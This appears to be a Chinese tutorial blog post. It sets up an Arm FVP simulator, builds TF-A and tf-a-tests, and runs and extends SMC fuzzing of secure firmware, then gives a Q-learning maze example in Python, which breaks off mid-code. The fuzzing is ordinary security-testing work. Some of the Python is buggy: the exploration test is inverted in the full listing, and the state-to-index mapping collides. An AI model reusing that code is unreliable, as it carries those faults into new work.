FVP下载

https://developer.arm.com/Tools and Software/Fixed Virtual Platforms

推荐直接下载：

Armv-A Base RevC AEM FVP (x86 Linux)

Armv-A Base RevC AEM FVP (AArch64 Linux, beta)

下载完成后解压的到Base_RevC_AEMvA_pkg

sudo apt install xtermtar -xzvf FVP_Base_RevC-2xAEMvA_11.25_15_Linux64.tgz# Base_RevC_AEMvA_pkg

注意对应的binary文件在AEMv8R_base_pkg/models/Linux64_GCC-9.3目录下

FVP的快捷的两种启动方法：1. ARM Develop Studio可视化启动 2.command line启动。本教程主要使用command line方式启动。

BL33构建

BL33作为None-security world镜像，一般情况下为uboot，当然也可以直接跳转到kernel。

export CROSS_COMPILE=/data/toolchains/SYS_PUBLIC_TOOLS/.toolchain/gcc-arm-10.3-2021.07-x86_64-aarch64-none-linux-gnu-linux-5.10/bin/aarch64-none-linux-gnu-git clone https://github.com/u-boot/u-boot.gitcd u-bootmake vexpress_aemv8a_semi_defconfigmake -j 9

ATF构建

cd /data/Project/arm-trusted-firmware-lts-v2.8.4/export CROSS_COMPILE=/data/toolchains/SYS_PUBLIC_TOOLS/.toolchain/gcc-arm-10.3-2021.07-x86_64-aarch64-none-linux-gnu-linux-5.10/bin/aarch64-none-linux-gnu-// 调试编译make PLAT=fvp BL33=/data/Project/u-boot/u-boot.bin DEBUG=1 all fip// 正常编译make PLAT=fvp BL33=/data/Project/u-boot/u-boot.bin all fip

ATF运行

AEMv8 Base FVP

使用FVP_Base_RevC-2xAEMv8A运行

cd /data/Project/arm-trusted-firmware-lts-v2.8.4/build/fvp/debug/export DISPLAY=:0

运行命令：

/data/Project/Base_RevC_AEMvA_pkg/models/Linux64_GCC-9.3/FVP_Base_RevC-2xAEMvA \-C pctl.startup=0.0.0.0                                     \-C bp.secure_memory=1                                       \-C bp.tzc_400.diagnostics=1                                 \-C cluster0.NUM_CORES=4                                     \-C cluster1.NUM_CORES=4                                     \-C cache_state_modelled=1                                   \-C bp.secureflashloader.fname="./bl1.bin"      \-C bp.flashloader0.fname="./fip.bin"# 如果需要运行到rootfs请添加下方参数，--data cluster0.cpu0="<path-to>/<kernel-binary>"@0x80080000 \--data cluster0.cpu0="<path-to>/<ramdisk>"@0x84000000

TF-A Tests构建并运行

export CROSS_COMPILE=/data/toolchains/SYS_PUBLIC_TOOLS/.toolchain/gcc-arm-10.3-2021.07-x86_64-aarch64-none-linux-gnu-linux-5.10/bin/aarch64-none-linux-gnu-git clone https://review.trustedfirmware.orgTF-A/tf-a-tests.gitcd tf-a-testsmake PLAT=fvp tftf

重编译ATF，指定bl33.bin为tftf.bin

cd /data/Project/arm-trusted-firmware-lts-v2.8.4/export CROSS_COMPILE=/data/toolchains/SYS_PUBLIC_TOOLS/.toolchain/gcc-arm-10.3-2021.07-x86_64-aarch64-none-linux-gnu-linux-5.10/bin/aarch64-none-linux-gnu-make PLAT=fvp BL33=/data/Project/tf-a-tests/build/fvp/release/tftf.bin all fip

重新使用FVP运行，成功引导进入tftf中

运行完成后会输出测试结果并提示退出

SMC Fuzz

推荐阅读：https://www.trustedfirmware.org/docs/Directed_Radomized_SMC_Presentation.pdf

默认配置运行

export CROSS_COMPILE=/data/toolchains/SYS_PUBLIC_TOOLS/.toolchain/gcc-arm-10.3-2021.07-x86_64-aarch64-none-linux-gnu-linux-5.10/bin/aarch64-none-linux-gnu-make PLAT=fvp SMC_FUZZING=1 SMC_FUZZ_DTS=/data/Project/tf-a-tests/smc_fuzz/dts/top.dts TESTS=smcfuzzing tftf

注意这里的SMC_FUZZ_DTS是可以自定义的，这里使用了官方提供的top.dts

/* * Copyright (c) 2023, Arm Limited. All rights reserved. * * SPDX-License-Identifier: BSD-3-Clause *//* * Top level device tree file to bias the SMC calls.  T * he biases are arbitrary and can be any value. * They are only significant when weighted against the * other biases.  30 was chosen arbitrarily. *//dts-v1/;/ {sdei {bias = <30>;sdei_version {bias = <30>;functionname = "sdei_version_funcid";};sdei_pe_unmask {bias = <30>;functionname = "sdei_pe_unmask_funcid";};sdei_pe_mask {bias = <30>;functionname = "sdei_pe_mask_funcid";};sdei_event_status {bias = <30>;functionname = "sdei_event_status_funcid";};sdei_event_signal {bias = <30>;functionname = "sdei_event_signal_funcid";};sdei_private_reset {bias = <30>;functionname = "sdei_private_reset_funcid";};sdei_shared_reset {bias = <30>;functionname = "sdei_shared_reset_funcid";};};tsp {bias = <30>;tsp_add_op {bias = <30>;functionname = "tsp_add_op_funcid";};tsp_sub_op {bias = <30>;functionname = "tsp_sub_op_funcid";};tsp_mul_op {bias = <30>;functionname = "tsp_mul_op_funcid";};tsp_div_op {bias = <30>;functionname = "tsp_div_op_funcid";};};};

重编译ATF，并替换tftf.bin

cd /data/Project/arm-trusted-firmware-lts-v2.8.4/export CROSS_COMPILE=/data/toolchains/SYS_PUBLIC_TOOLS/.toolchain/gcc-arm-10.3-2021.07-x86_64-aarch64-none-linux-gnu-linux-5.10/bin/aarch64-none-linux-gnu-make PLAT=fvp BL33=/data/Project/tf-a-tests/build/fvp/release/tftf.bin all fip

再次运行

cd /data/Project/arm-trusted-firmware-lts-v2.8.4/build/fvp/release//data/Project/Base_RevC_AEMvA_pkg/models/Linux64_GCC-9.3/FVP_Base_RevC-2xAEMvA \-C pctl.startup=0.0.0.0                                     \-C bp.secure_memory=1                                       \-C bp.tzc_400.diagnostics=1                                 \-C cluster0.NUM_CORES=4                                     \-C cluster1.NUM_CORES=4                                     \-C cache_state_modelled=1                                   \-C bp.secureflashloader.fname="./bl1.bin"      \-C bp.flashloader0.fname="./fip.bin"

扩展SMC fuzz

先来通过目录结构确定需要扩展的文件1. Dts 2. fuzz helper

1. 首先创建test_fuzz_helper.h ，引用上述头文件(tftf框架), 并且定义与dts中function_name对应的常量funcid。最后在底部申明使用到的函数入口run_test_fuzz和具体的handler函数tftf_test_smc

//// Created by ios on 24-4-23.//#include <fuzz_helper.h>#include <power_management.h>#include <sdei.h>#include <test_helpers.h>#include <tftf_lib.h>#include <timer.h>#ifndef test_funcid#define test_funcid 0#endifvoid tftf_test_smc(uint64_t tsp_id, char *funcstr);void run_test_fuzz(int funcid);

2. 完善具体的test_fuzz_helper.c,具体功能为打印固定的字符串ios-test 并输出测试信息。

#include <fuzz_names.h>#include <test_fuzz_helper.h>void tftf_test_smc(uint64_t tsp_id, char *funcstr){    printf("current str: %s, this is test smc fuzz handler!\n", funcstr);}/* * TSP function called from fuzzer */void run_test_fuzz(int funcid){    tftf_test_smc(funcid, "ios-test");}

3. 创建对应的test.dts ，主要定义了两个功能test_add和test_mov，并且对应的函数均为test_funcid。

   /* * Copyright (c) 2023, Arm Limited. All rights reserved. * * SPDX-License-Identifier: BSD-3-Clause *//* * Top level device tree file to bias the SMC calls.  T * he biases are arbitrary and can be any value. * They are only significant when weighted against the * other biases.  30 was chosen arbitrarily. *//dts-v1/;/ {test {bias = <30>;test_add {bias = <30>;functionname = "test_funcid";};test_mov {            bias = <30>;            functionname = "test_funcid";        };};};

4. 将run_test_fuzz添加到runtestfunction_helpers.c中

   

5. 将tftf/tests/tests-smcfuzzing.mk 中的编译依赖中添加test_fuzz_helper.c

   

6. 调整运行的次数和并发数，tftf/tests/tests-smcfuzzing.mk

   

7. 编译仅包含smcfuzz的tftf

export CROSS_COMPILE=/data/toolchains/SYS_PUBLIC_TOOLS/.toolchain/gcc-arm-10.3-2021.07-x86_64-aarch64-none-linux-gnu-linux-5.10/bin/aarch64-none-linux-gnu-make PLAT=fvp SMC_FUZZING=1 SMC_FUZZ_DTS=/data/Project/tf-a-tests/smc_fuzz/dts/test.dts TESTS=smcfuzzing tftf

8. 打包tftf到fip.bin中

cd /data/Project/arm-trusted-firmware-lts-v2.8.4/export CROSS_COMPILE=/data/toolchains/SYS_PUBLIC_TOOLS/.toolchain/gcc-arm-10.3-2021.07-x86_64-aarch64-none-linux-gnu-linux-5.10/bin/aarch64-none-linux-gnu-make PLAT=fvp BL33=/data/Project/tf-a-tests/build/fvp/release/tftf.bin all fip

9. 运行smc_fuzz

cd /data/Project/arm-trusted-firmware-lts-v2.8.4/build/fvp/release//data/Project/Base_RevC_AEMvA_pkg/models/Linux64_GCC-9.3/FVP_Base_RevC-2xAEMvA \-C pctl.startup=0.0.0.0                                     \-C bp.secure_memory=1                                       \-C bp.tzc_400.diagnostics=1                                 \-C cluster0.NUM_CORES=4                                     \-C cluster1.NUM_CORES=4                                     \-C cache_state_modelled=1                                   \-C bp.secureflashloader.fname="./bl1.bin"      \-C bp.flashloader0.fname="./fip.bin"

ATF BL1 FUZZ

场景描述

对BL1、BL2、BL31、BL32阶段的代码实现功能测试。此阶段代码多数为厂商定制。

功能描述

1. 针对函数级功能参数FUZZ
2. 支持模拟器全阶段FUZZ（BL1、BL2、BL31、BL32）

功能实现

待补充

效果展示

原理

课程参考：https://www.bilibili.com/video/BV13W411Y75P

Q-Learning是属于值函数近似算法中，蒙特卡洛方法和时间差分法相结合的算法。这种算法使得智能体（agent）能够在与环境互动的过程中学习如何采取动作以最大化累积奖励。Q-learning特别适用于解决决策过程问题，尤其是那些状态和动作空间定义明确的问题。

Q-Learning 是一个离线策略（off-policy）学习算法。在Q-Learning中，智能体学习的是一个与其实际执行动作无关的优化策略。也就是说，当它在探索更多的状态-动作对时，它学习的是最优策略。同时，在更新q-table中的值时，并不考虑下一步实际执行的动作是什么，而是假设采取的是让next_state下q-table值最大的动作。

算法特性

无模型：Q-learning是一个无模型的强化学习算法，它不需要关于环境动态的先验知识

离线学习：Q-learning是一种离线策略学习方法，智能体的学习与其遵循的策略无关。

贪婪策略：在学习过程中，Q-learning采用贪婪策略在学习与探索间寻找平衡。即在大多数情况下选择当前估计最优的动作，但有时也会随机选择其他动作来探索未知的状态空间。

迷宫实例

Environment

1. 迷宫生成

   用于随机生成迷宫，或者加载一个生成好的迷宫。迷宫由* 构成，其中*代表墙， 代表路，S代表起点，E代表终点

   class Maze:    def __init__(self, width, height):        self.width = width        self.height = height        self.maze = [['*' for _ in range(2 * height + 1)] for _ in range(2 * width + 1)]        self.start_local = None        self.final_local = None        self.generate_maze()        self._locate_start_and_final()    def _break_wall(self, x, y):        self.maze[2 * x + 1][2 * y + 1] = ' '    def _carve_passages_from(self, x, y):        dire = [(1, 0), (-1, 0), (0, 1), (0, -1)]        random.shuffle(dire)        for dx, dy in dire:            new_x = x + dx            new_y = y + dy            if 0 <= new_x < self.width and 0 <= new_y < self.height:                if self.maze[2 * new_x + 1][2 * new_y + 1] == '*':                    self.maze[2 * x + 1 + dx][2 * y + 1 + dy] = ' '  # Break wall                    self._break_wall(new_x, new_y)                    self._carve_passages_from(new_x, new_y)    def generate_maze(self):        self._break_wall(0, 0)  # Start point        self._carve_passages_from(0, 0)        self.maze[0][1] = 'S'  # Mark the start point        self.maze[2 * self.width][2 * self.height - 1] = 'E'  # Mark the end point    def _locate_start_and_final(self):        self.start_local = None        self.final_local = None        for i, row in enumerate(self.maze):            for j, char in enumerate(row):                if char == 'S':                    self.start_local = (i, j)                elif char == 'E':                    self.final_local = (i, j)        if self.start_local is None or self.final_local is None:            raise ValueError("起点或终点未在迷宫中找到。")    def display(self, maze=None):        if maze is None:            for row in self.maze:                print(''.join(row))        else:            for row in maze:                print(''.join(row))    def save(self, filename):        with open(filename, 'w') as file:            for row in self.maze:                file.write(''.join(row) + '\n')    @classmethod    def load(cls, filename):        with open(filename, 'r') as file:            maze_data = [list(line.strip()) for line in file]        # 假设文件内容确定迷宫尺寸且迷宫规格是规整的（每行长度相同）        height = len(maze_data)        width = len(maze_data[0]) if height > 0 else 0        maze_obj = cls(width, height)  # 创建 Maze 实例        maze_obj.maze = maze_data        maze_obj._locate_start_and_final()        return maze_obj

   迷宫可以使用save保存在本地，方便下次训练使用，保存后的内容如下：

   

2. 移动判定

   理解为游戏的模拟输入，函数的输入为当前的坐标state(x,y)和接下来的行为action(u,d,l,f)。输出为执行完action后的坐标next_state，和奖励reward（用于判定是否达到终点）。

       def get_env_feedback(self, state, action):        """        根据当前的状态和行动，返回下一个状态和奖励。        state: 当前的状态，即当前的坐标 (x, y)        action: 当前采取的行动。'UP', 'DOWN', 'LEFT', 'RIGHT' 中的一个。        返回: 下一个状态和奖励。        """        # 计算下一步的位置        x, y = state        if action == 'UP':            next_state = (max(x - 1, 0), y)        elif action == 'DOWN':            next_state = (min(x + 1, 2 * self.height), y)        elif action == 'LEFT':            next_state = (x, max(y - 1, 0))        elif action == 'RIGHT':            next_state = (x, min(y + 1, 2 * self.width))        else:            next_state = state  # 无效的行动        # 检查下一步是否为墙('*')或终点('E')        next_x, next_y = next_state        if self.maze[next_x][next_y] == '*':            reward = -1  # 如果撞墙，给予负奖励            next_state = state  # 状态不改变        elif self.maze[next_x][next_y] == 'E':            reward = 1  # 如果到达终点，给予正奖励        else:            reward = 0  # 否则，没有奖励        return next_state, reward

3. 索引转换

   用于将x,y坐标转换为q-table索引的辅助方法

       def state_to_index(self, state):        """        将 (x, y) 坐标转换为 q_table 的索引。        """        x, y = state        index = x * self.width + y        return index

Agent

使用q-leaning

1. 创建q-leaning表

   参数为n_states：迷宫的长*宽，actions：[‘LEFT’, ‘RIGHT’, ‘UP’, ‘DOWN’]

   def build_q_table(n_states: int, actions: list[str]) -> pd.DataFrame:    table = pd.DataFrame(        np.zeros((n_states, len(actions))),        columns=actions)    return table

   

2. 行动决策

   首先获取当前位置(state_idx)的决策概率，例如state_idx=0时，state_actions = [0.0, 0.0, 0.0, 0.0]。这里有一个超参EPSILON，用于在行动决策中划分多少概率随机选择一次行动。如果不使用随机决策则会取当前state_actions中概率最大的一个决策。

   def choose_action(state_idx, q_table: pd.DataFrame) -> str:    # 根据当前state状态和q_table选择action    state_actions: np.ndarray = q_table.iloc[state_idx, :]    # 随机选择的情况1.刚好是10%的随机状态 2.初始化状态    if np.random.uniform() > (1 - EPSILON) or state_actions.all() == 0:        action_name = np.random.choice(ACTIONS)    else:        action_name = state_actions.idxmax()    return action_name

Train

当Agent和Environment都实现后，可以开始编写q-leaning的训练了。

def save_q_table(q_table):    # 获取当前日期并格式化为字符串    date_suffix = datetime.now().strftime("%Y-%m-%d")    filename = f"q_table_{date_suffix}.npy"    np.save(filename, q_table)    print(f"Q-table saved to {filename}")    def train(maze):    q_table = build_q_table(maze.width * maze.height, ACTIONS)    print(q_table)    for episode in range(STEP):        step_counter = 0        is_final = False        S = maze.start_local        maze.update_env(maze, S, episode=episode, step_counter=step_counter)        while not is_final:            S_INDEX = maze.state_to_index(S)            A = choose_action(S_INDEX, q_table)            observation_, reward = maze.get_env_feedback(S, A)            q_predict = q_table.loc[S_INDEX, A]            if reward != 1: # 判断是否达到迷宫终点              # 未到达时，获取下一个坐标的index，并且计算对应的q_target值                S__INDEX = maze.state_to_index(observation_)                # LAMBDA为衰减超参                q_target = reward + LAMBDA * q_table.iloc[S__INDEX, :].max()            else:                # 达到时 q_target=1                q_target = reward                is_final = True# 更新参数，ALPHA为leaning-rate超参            q_table.loc[S_INDEX, A] += ALPHA * (q_target - q_predict)  # 更新q-table            S = observation_            step_counter += 1              maze.update_env(maze, S, episode=episode, step_counter=step_counter)    q_table_numpy = q_table.to_numpy()    # 保存q-table    save_q_table(q_table_numpy)    return q_table

附算法图：

训练结果截图：

Evaluate

1. 编写MazeGUI，为了让测试具像化，并且使用moves统计测试时使用的步骤

   class MazeGUI:    def __init__(self, maze):        self.maze = maze        self.root = tk.Tk()        self.root.title("Maze")        self.size = 600  # 窗口尺寸        self.cell_width = self.size // len(maze.maze[0])        self.cell_height = self.size // len(maze.maze)        self.canvas = tk.Canvas(self.root, height=self.size, width=self.size, bg="white")        self.canvas.pack()        self.draw_maze()        self.player = self.canvas.create_rectangle(0, 0, self.cell_width, self.cell_height, fill="blue")  # 初始化玩家位置        self.gui_queue = Queue()        self.process_queue_updates()        self.moves = 0  # 用于步数统计        # 创建显示步数的Label组件        self.steps_label = tk.Label(self.root, text=f"Moves: {self.moves}")        self.steps_label.pack()    def draw_maze(self):        for i, row in enumerate(self.maze.maze):            for j, cell in enumerate(row):                x0 = j * self.cell_width                y0 = i * self.cell_height                x1 = x0 + self.cell_width                y1 = y0 + self.cell_height                if cell == '*':  # 墙壁                    self.canvas.create_rectangle(x0, y0, x1, y1, fill="black")                elif cell == 'E':  # 终点                    self.canvas.create_rectangle(x0, y0, x1, y1, fill="red")                elif cell == 'S':  # 起点                    self.canvas.create_rectangle(x0, y0, x1, y1, fill="green")                elif cell == ' ':  # 空路                    self.canvas.create_rectangle(x0, y0, x1, y1, fill="white")    def update_player_position(self, new_position):        self.moves += 1  # 步数统计        self.steps_label.config(text=f"Moves: {self.moves}")        x, y = new_position        if x < 0 or y < 0 or x >= self.maze.height or y >= self.maze.width:            print("Invalid move: Player cannot move outside the maze.")            return  # 返回，不执行移动        # 检查新位置是否是墙壁        if self.maze.maze[x][y] == '*':            print("Invalid move: Player cannot move into a wall.")        else:            # 更新玩家在画布上的坐标位置            self.canvas.coords(self.player,                               y * self.cell_width,  # 左上角x坐标                               x * self.cell_height,  # 左上角y坐标                               (y + 1) * self.cell_width,  # 右下角x坐标                               (x + 1) * self.cell_height)  # 右下角y坐标    def process_queue_updates(self):        try:            while not self.gui_queue.empty():                new_position = self.gui_queue.get_nowait()                # 假设你有一个方法来处理实际的更新                self.update_player_position(new_position)        except self.gui_queue.Empty:            pass        # 每隔100ms检查队列更新        self.root.after(100, self.process_queue_updates)    def show_steps(self):        # 这个方法被调用时，会作出计数并弹窗显示移动次数        messagebox.showinfo("Steps", f"Number of moves: {self.moves}")    def reset(self):        # # 清除画布上的所有内容        # self.canvas.delete("all")        #        # self.draw_maze()        # 将玩家移动到迷宫的起点        self.update_player_position(self.maze.start_local)    def run(self):        self.root.mainloop()

2. 编写eval函数，验证时不需要采用随机化决策，直接从q-table中获取每一步的最大值决策即可。

   def eval(q_table, maze_gui):    S = maze_gui.maze.start_local    is_final = False    maze_gui.reset()  # 重置迷宫到初始状态，并在GUI中更新    while not is_final:        S_INDEX = maze_gui.maze.state_to_index(S)        # 总是选择最佳动作        A = q_table.iloc[S_INDEX, :].idxmax()        observation_, reward = maze_gui.maze.get_env_feedback(S, A)        # 对 GUI 做出更新        maze_gui.gui_queue.put(observation_)        # 延迟一小段时间，以便观察到玩家移动        time.sleep(0.3)        S = observation_  # 更新当前状态        # 终点检测        if reward == 1:            is_final = True    print("Evaluation complete.")

完整实例

MazeGen.py

import randomimport tkinter as tkfrom tkinter import messageboxfrom queue import Queueclass MazeGUI:    def __init__(self, maze):        self.maze = maze        self.root = tk.Tk()        self.root.title("Maze")        self.size = 600  # 窗口尺寸        self.cell_width = self.size // len(maze.maze[0])        self.cell_height = self.size // len(maze.maze)        self.canvas = tk.Canvas(self.root, height=self.size, width=self.size, bg="white")        self.canvas.pack()        self.draw_maze()        self.player = self.canvas.create_rectangle(0, 0, self.cell_width, self.cell_height, fill="blue")  # 初始化玩家位置        self.gui_queue = Queue()        self.process_queue_updates()        self.moves = 0  # 用于步数统计        # 创建显示步数的Label组件        self.steps_label = tk.Label(self.root, text=f"Moves: {self.moves}")        self.steps_label.pack()    def draw_maze(self):        for i, row in enumerate(self.maze.maze):            for j, cell in enumerate(row):                x0 = j * self.cell_width                y0 = i * self.cell_height                x1 = x0 + self.cell_width                y1 = y0 + self.cell_height                if cell == '*':  # 墙壁                    self.canvas.create_rectangle(x0, y0, x1, y1, fill="black")                elif cell == 'E':  # 终点                    self.canvas.create_rectangle(x0, y0, x1, y1, fill="red")                elif cell == 'S':  # 起点                    self.canvas.create_rectangle(x0, y0, x1, y1, fill="green")                elif cell == ' ':  # 空路                    self.canvas.create_rectangle(x0, y0, x1, y1, fill="white")    def update_player_position(self, new_position):        self.moves += 1  # 步数统计        self.steps_label.config(text=f"Moves: {self.moves}")        x, y = new_position        if x < 0 or y < 0 or x >= self.maze.height or y >= self.maze.width:            print("Invalid move: Player cannot move outside the maze.")            return  # 返回，不执行移动        # 检查新位置是否是墙壁        if self.maze.maze[x][y] == '*':            print("Invalid move: Player cannot move into a wall.")        else:            # 更新玩家在画布上的坐标位置            self.canvas.coords(self.player,                               y * self.cell_width,  # 左上角x坐标                               x * self.cell_height,  # 左上角y坐标                               (y + 1) * self.cell_width,  # 右下角x坐标                               (x + 1) * self.cell_height)  # 右下角y坐标    def process_queue_updates(self):        try:            while not self.gui_queue.empty():                new_position = self.gui_queue.get_nowait()                # 假设你有一个方法来处理实际的更新                self.update_player_position(new_position)        except self.gui_queue.Empty:            pass        # 每隔100ms检查队列更新        self.root.after(100, self.process_queue_updates)    def show_steps(self):        # 这个方法被调用时，会作出计数并弹窗显示移动次数        messagebox.showinfo("Steps", f"Number of moves: {self.moves}")    def reset(self):        # # 清除画布上的所有内容        # self.canvas.delete("all")        #        # self.draw_maze()        # 将玩家移动到迷宫的起点        self.update_player_position(self.maze.start_local)    def run(self):        self.root.mainloop()class Maze:    def __init__(self, width, height):        self.width = width        self.height = height        self.maze = [['*' for _ in range(2 * height + 1)] for _ in range(2 * width + 1)]        self.start_local = None        self.final_local = None        self.generate_maze()        self._locate_start_and_final()    def _break_wall(self, x, y):        self.maze[2 * x + 1][2 * y + 1] = ' '    def _carve_passages_from(self, x, y):        dire = [(1, 0), (-1, 0), (0, 1), (0, -1)]        random.shuffle(dire)        for dx, dy in dire:            new_x = x + dx            new_y = y + dy            if 0 <= new_x < self.width and 0 <= new_y < self.height:                if self.maze[2 * new_x + 1][2 * new_y + 1] == '*':                    self.maze[2 * x + 1 + dx][2 * y + 1 + dy] = ' '  # Break wall                    self._break_wall(new_x, new_y)                    self._carve_passages_from(new_x, new_y)    def generate_maze(self):        self._break_wall(0, 0)  # Start point        self._carve_passages_from(0, 0)        self.maze[0][1] = 'S'  # Mark the start point        self.maze[2 * self.width][2 * self.height - 1] = 'E'  # Mark the end point    def _locate_start_and_final(self):        self.start_local = None        self.final_local = None        for i, row in enumerate(self.maze):            for j, char in enumerate(row):                if char == 'S':                    self.start_local = (i, j)                elif char == 'E':                    self.final_local = (i, j)        if self.start_local is None or self.final_local is None:            raise ValueError("起点或终点未在迷宫中找到。")    def display(self, maze=None):        if maze is None:            for row in self.maze:                print(''.join(row))        else:            for row in maze:                print(''.join(row))    def save(self, filename):        with open(filename, 'w') as file:            for row in self.maze:                file.write(''.join(row) + '\n')    @classmethod    def load(cls, filename):        with open(filename, 'r') as file:            maze_data = [list(line.strip()) for line in file]        # 假设文件内容确定迷宫尺寸且迷宫规格是规整的（每行长度相同）        height = len(maze_data)        width = len(maze_data[0]) if height > 0 else 0        maze_obj = cls(width, height)  # 创建 Maze 实例        maze_obj.maze = maze_data        maze_obj._locate_start_and_final()        return maze_obj    def get_env_feedback(self, state, action):        """        根据当前的状态和行动，返回下一个状态和奖励。        state: 当前的状态，即当前的坐标 (x, y)        action: 当前采取的行动。'UP', 'DOWN', 'LEFT', 'RIGHT' 中的一个。        返回: 下一个状态和奖励。        """        # 计算下一步的位置        x, y = state        if action == 'UP':            next_state = (max(x - 1, 0), y)        elif action == 'DOWN':            next_state = (min(x + 1, 2 * self.height), y)        elif action == 'LEFT':            next_state = (x, max(y - 1, 0))        elif action == 'RIGHT':            next_state = (x, min(y + 1, 2 * self.width))        else:            next_state = state  # 无效的行动        # 检查下一步是否为墙('*')或终点('E')        next_x, next_y = next_state        if self.maze[next_x][next_y] == '*':            reward = -1  # 如果撞墙，给予负奖励            next_state = state  # 状态不改变        elif self.maze[next_x][next_y] == 'E':            reward = 1  # 如果到达终点，给予正奖励        else:            reward = 0  # 否则，没有奖励        return next_state, reward    def update_env(self, maze, state, episode, step_counter):        if state == maze.final_local:            # 先创建一个迷宫的副本以便更新显示            updated_maze = [row.copy() for row in maze.maze]            # 确定玩家的当前位置，并标记，在这个例子中，我们使用 'P' 来表示玩家的当前位置            x, y = state  # 假设状态为 (x, y) 坐标的函数            updated_maze[x][y] = 'P'  # 'P' 表示玩家当前位置            # 清屏操作，以便更新时清除旧的迷宫状态            print("\033[H\033[J", end="")            print(f"Episode: {episode}, Step: {step_counter}")            self.display(updated_maze)  # 假设 print_maze 是打印迷宫状态的函数    def state_to_index(self, state):        """        将 (x, y) 坐标转换为 q_table 的索引。        """        x, y = state        index = x * self.width + y        return index

Q-leaning.py

import randomimport timefrom datetime import datetimeimport threadingimport numpy as npimport pandas as pdfrom MazeGen import MazeGUI, Maze# 超参ACTIONS = ['LEFT', 'RIGHT', 'UP', 'DOWN']EPSILON = 0.1  # 贪婪策略，决策概率（0.1部分为随机）ALPHA = 0.1  # learning rateLAMBDA = 0.9  # 衰减值： 0完全不看未来的见过，1考虑未来的每一个结果STEP = 300  # 训练轮数FRESH_TIME = 0.3  # 每一步骤停顿时间random.seed(13)def build_q_table(n_states: int, actions: list[str]) -> pd.DataFrame:    table = pd.DataFrame(        np.zeros((n_states, len(actions))),        columns=actions)    return tabledef choose_action(state_idx, q_table: pd.DataFrame) -> str:    # 根据当前state状态和q_table选择action    state_actions: np.ndarray = q_table.iloc[state_idx, :]    # 随机选择的情况1.刚好是10%的随机状态 2.初始化状态    if np.random.uniform() > EPSILON or state_actions.all() == 0:        action_name = np.random.choice(ACTIONS)    else:        action_name = state_actions.idxmax()    return action_namedef save_q_table(q_table):    # 获取当前日期并格式化为字符串    date_suffix = datetime.now().strftime("%Y-%m-%d")    filename = f"q_table_{date_suffix}.npy"    np.save(filename, q_table)    print(f"Q-table saved to {filename}")def train(maze):    q_table = build_q_table(maze.width * maze.height, ACTIONS)    print(q_table)    for episode in range(STEP):        step_counter = 0        is_final = False        S = maze.start_local        maze.update_env(maze, S, episode=episode, step_counter=step_counter)        while not is_final:            S_INDEX = maze.state_to_index(S)            A = choose_action(S_INDEX, q_table)            observation_, reward = maze.get_env_feedback(S, A)            q_predict = q_table.loc[S_INDEX, A]            if reward != 1:                S__INDEX = maze.state_to_index(observation_)                q_target = reward + LAMBDA * q_table.iloc[S__INDEX, :].max()            else:                q_target = reward                is_final = True            q_table.loc[S_INDEX, A] += ALPHA * (q_target - q_predict)  # 更新q-table            S = observation_            step_counter += 1            maze.update_env(maze, S, episode=episode, step_counter=step_counter)    q_table_numpy = q_table.to_numpy()    # 保存q-table    save_q_table(q_table_numpy)    return q_tabledef eval(q_table, maze_gui):    S = maze_gui.maze.start_local    is_final = False    maze_gui.reset()  # 重置迷宫到初始状态，并在GUI中更新    while not is_final:        S_INDEX = maze_gui.maze.state_to_index(S)        # 总是选择最佳动作        A = q_table.iloc[S_INDEX, :].idxmax()        observation_, reward = maze_gui.maze.get_env_feedback(S, A)        # 对 GUI 做出更新        maze_gui.gui_queue.put(observation_)        # 延迟一小段时间，以便观察到玩家移动        time.sleep(0.3)        S = observation_  # 更新当前状态        # 终点检测        if reward == 1:            is_final = True    print("Evaluation complete.")if __name__ == '__main__':    maze = Maze.load('my_maze.txt')    q_table = train(maze)    print(q_table)    maze_gui = MazeGUI(maze)    threading.Thread(target=lambda: eval(q_table, maze_gui)).start()    maze_gui.root.mainloop()    # 创建并显示迷宫实例    # my_maze = Maze(4,4)    # print("Generated Maze:")    # # my_maze.display()    # #    # # # 保存迷宫到文件    # my_maze.save('my_maze.txt')    #    # # # 从文件加载并显示迷宫    # loaded_maze = Maze.load('my_maze.txt')    # app = MazeGUI(loaded_maze)    # app.run()  # 显示迷宫    # print("\nLoaded Maze:")    # loaded_maze.display()

最终效果展示：

存在问题

1. q-table创建没有使用动态创建，这会导致q-table的index不足或者浪费的情况出现。
2. chooce action中idxmax只返回在请求轴上第一次出现最大值的索引，这回忽略当出现每种决策相同概率时 只会选择第一个的问题。

解决方案

1. 对QLearning单独建立类，并且初始化q_table内容为空。利用check_state_exist检查当前states索引以及之前的索引是否存在，不存在则新建。
2. 使用state_actions.sample(frac=1)来打乱action所在位置，sample函数用于随机样本获取。
3. 修改save_q_table时，依赖当前路径的总步数，保存最优解

class QLearning:    def __init__(self, actions: list[str], learning_rate=0.1, reward_decay=0.9, epsilon=0.1):        self.actions = actions  # 动作空间        self.lr = learning_rate  # 学习率        self.gamma = reward_decay  # 奖励衰减        self.epsilon = epsilon  # 探索概率        self.q_table = pd.DataFrame(columns=self.actions, dtype=np.float64)  # 初始化空的Q表        self.min_steps = float('inf')  # 初始化最少步数为无穷大        self.best_q_table = None  # 存储步数最少时的Q表    def check_state_exist(self, state):        # 检查并添加状态到Q表，包括之前的所有未添加的状态        if state not in self.q_table.index:            # 假设状态是整数且连续，我们需要填补所有缺失的状态，直至当前状态            missing_states = [s for s in                              range(min(self.q_table.index.astype(int).min(), state) if not self.q_table.empty else 0,                                    state + 1) if s not in self.q_table.index]            for s in missing_states:                # 添加缺失的状态到Q表                self.q_table = self.q_table._append(                    pd.Series(                        [0] * len(self.actions),                        index=self.q_table.columns,                        name=s,                    )                )    def choose_action(self, state):        self.check_state_exist(state)  # 确保状态在Q表中        # 根据当前状态来选择动作        state_actions: np.ndarray = self.q_table.iloc[state, :]        if np.random.uniform() < self.epsilon or state_actions.all() == 0:            # 探索：以ε的概率执行随机动作            action = np.random.choice(self.actions)        else:            # 利用：以1 - ε的概率执行当前最优动作（贪婪选择）            shuffled_actions = state_actions.sample(frac=1)  # 使用sample与frac=1来随机打乱            action = shuffled_actions.idxmax()        return action    def save_q_table(self, steps):        if steps < self.min_steps:            self.min_steps = steps            self.best_q_table = self.q_table.copy()  # 更新最佳Q表副本            date_suffix = datetime.now().strftime("%Y-%m-%d")            filename = f"q_learning_q_table_{date_suffix}.npy"            np.save(filename, self.best_q_table)            print(f"Q-table saved to {filename}")    def learn(self, s, a, r, s_):        # 学习过程，根据q-learning公式更新Q表        q_predict = self.q_table.loc[s, a]        if r != 1:            s__idx = maze.state_to_index(s_)            self.check_state_exist(s__idx)  # 